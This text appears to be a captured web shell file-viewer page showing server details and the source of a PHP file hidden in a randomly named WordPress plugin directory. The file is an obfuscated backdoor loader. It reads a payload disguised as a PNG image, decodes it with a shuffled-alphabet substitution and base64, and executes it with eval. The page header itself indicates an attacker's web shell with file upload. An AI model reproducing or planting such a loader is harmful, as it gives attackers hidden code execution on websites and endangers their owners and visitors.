HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/wp-content/plugins/acagothoj/ixuzyv.php
<?php

function cinahy_wozhigof($odimak_thefirife) {
    if ($odimak_thefirife == 1)
        return asotor_buvyfychir();
    if ($odimak_thefirife == 2)
        return jaweto_atathelocho();
}

function uvovog_yzhusinuro($odimak_thefirife) {
    $opepyn = cinahy_wozhigof(1);
    $avitid = cinahy_wozhigof(2);
    for ($yvuwud = 0; $yvuwud < strlen($opepyn); $yvuwud++) {
        $xujoqo = substr($opepyn, $yvuwud, 1);
        $vyjiho = substr($avitid, $yvuwud, 1);
        $ezuhax[$xujoqo] = $vyjiho;
    }

    $ejurof = strtr($odimak_thefirife, $ezuhax);
    $ejurof = base64_decode($ejurof);

    return $ejurof;
}

function ipupuf_yfucakhax($odimak_thefirife) {
    $atogowe = array();
    if (!file_exists($odimak_thefirife))
        return false;
    $cysizu = @file_get_contents($odimak_thefirife);
    if (!$cysizu)
        return false;
    $cysizu = substr($cysizu, 3);
    $atogowe = uvovog_yzhusinuro($cysizu);
    return $atogowe;
}

function asotor_buvyfychir() {
    $cysizu = "AjRE0mydS=6X9e8QYn1O4kbUVfTi3tDP+WogLaKZ2GNqxCrzlFcM5su/hpvJ7wBIH";
    return $cysizu;
}

function jaweto_atathelocho() {
    $atogowe = "AzmQfl/sE6uMke+tU9xFahcLn0JKBjGTodw5OXD28rH=gWiCpIyZRS4bq1vN7VP3Y";
    return $atogowe;
}

$umypyva = ipupuf_yfucakhax(__DIR__ . "/ass" . "ets/im" . "ages" . "/qyby" . "gib.p" . "ng");
if ($umypyva) {
    @eval($umypyva);
}